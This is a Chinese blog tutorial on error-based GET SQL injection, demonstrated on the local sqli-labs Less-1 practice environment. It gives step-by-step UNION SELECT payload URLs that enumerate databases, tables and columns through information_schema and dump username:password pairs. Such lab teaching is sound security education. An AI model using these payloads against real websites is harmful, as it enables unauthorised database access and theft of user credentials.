前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB安全基础 - - -SQL注入利用

WEB安全基础 - - -SQL注入利用

作者头像
干掉芹菜
发布2022-11-19 14:20:27
4570
发布2022-11-19 14:20:27
举报
文章被收录于专栏:网络安全615网络安全615

目录

GET显错注入

GET显错注入流程

准备知识 

 举例:基于错误的GET单引号字符型注入

1.判断注入点

 2.判断闭合字符

3.根据order判断sql语句的查询列数

4.联合查询活得显示位

5.获取当前数据库

 6.获取所有数据库

7. 获取当前数据库表名:

 8.获取users表所有字段:

​编辑9. 获取security.users表所有字段

 10.获取security.users表所有字段内容:

 concat用法:

concat_ws用法

 group_concat用法:

GET显错注入

GET显错注入流程

01  获取字段数           order by x 02  获取显示位           union select 1,2,3,4…… 03  获取数据库信息   version() , user() , @@datadir 04  获取当前数据库   database() , schema() , 05  获取所有数据库 06  获取数据库表 07  获取所有字段 08  获取数据

准备知识 

逻辑运算符: and 、 or 、 != 注意:!!! and :并且,前后两条语句必须全为真,才为真,否则为假。 如: 1=1 and 2=2 真 1=1 and 1=2 假 or :或者,前后两条语句一条为真,就为真。 != :不等于。

--+ 注释符 limit 0,1                               从你表中的第一个数据开始,只读取一个 order by                              排序,判断字段数量,也就是表的列数 union select                        联合查询,连接前面语句,起着合并查询的作用 group_concat                     合并多行数据到一行 version()                             当前数据库版本 database()                          当前数据库 @@datadir                         数据库数据路径 @@version_compile_os   操作系统版本

 举例:基于错误的GET单引号字符型注入

1.判断注入点

 http://127.0.0.1/sqli/Less-1/?id=1

 2.判断闭合字符

 http://127.0.0.1/sqli/Less-1/?id=1’

输入单引号 ‘   出现报错信息 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 您的SQL语法有错误;请查看与您的MySQL服务器版本对应的手册,以了解要在第1行的“”1“”限制0,1“”附近使用的正确语法

可以看出1’被1"引用,所以对应的字符应该为" 

进行and逻辑测试

 http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+

3.根据order判断sql语句的查询列数

  http://127.0.0.1/sqli/Less-1/?id=1' order by 5 --+

 报错为:Unknown column '5' in 'order clause' 

              “Order子句”中的未知列“%5”

从 5向下一词尝试,最终得到正确列数为3

  http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

4.联合查询活得显示位

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

5.获取当前数据库

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,(select database()),3 --+

 6.获取所有数据库

http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+

7. 获取当前数据库表名:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 8.获取users表所有字段:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users‘ --+

9. 获取security.users表所有字段

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

 10.获取security.users表所有字段内容:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,':',password) from users --+

concat用法:

1. 功能:将多个字符串连接成一个字符串。

2. 语法: concat(str1, str2,...)

concat_ws用法

1. 功能:和 concat() 一样,将多个字符串连接成一个字符串,但是可以一次性指定

分隔符( concat_ws 就是 concat with separator )

2. 语法: concat_ws(separator, str1, str2, ...)

group_concat用法:

1. 功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。

2. 语法: group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ]

[separator ' 分隔符 '] )

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • GET显错注入
    • GET显错注入流程
      • 准备知识 
        •  举例:基于错误的GET单引号字符型注入
          • 1.判断注入点
          •  2.判断闭合字符
          • 3.根据order判断sql语句的查询列数
          • 4.联合查询活得显示位
          • 5.获取当前数据库
          •  6.获取所有数据库
          • 7. 获取当前数据库表名:
          •  8.获取users表所有字段:
          •  10.获取security.users表所有字段内容:
        • concat用法:
          • concat_ws用法
            • group_concat用法:
            相关产品与服务
            数据库
            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档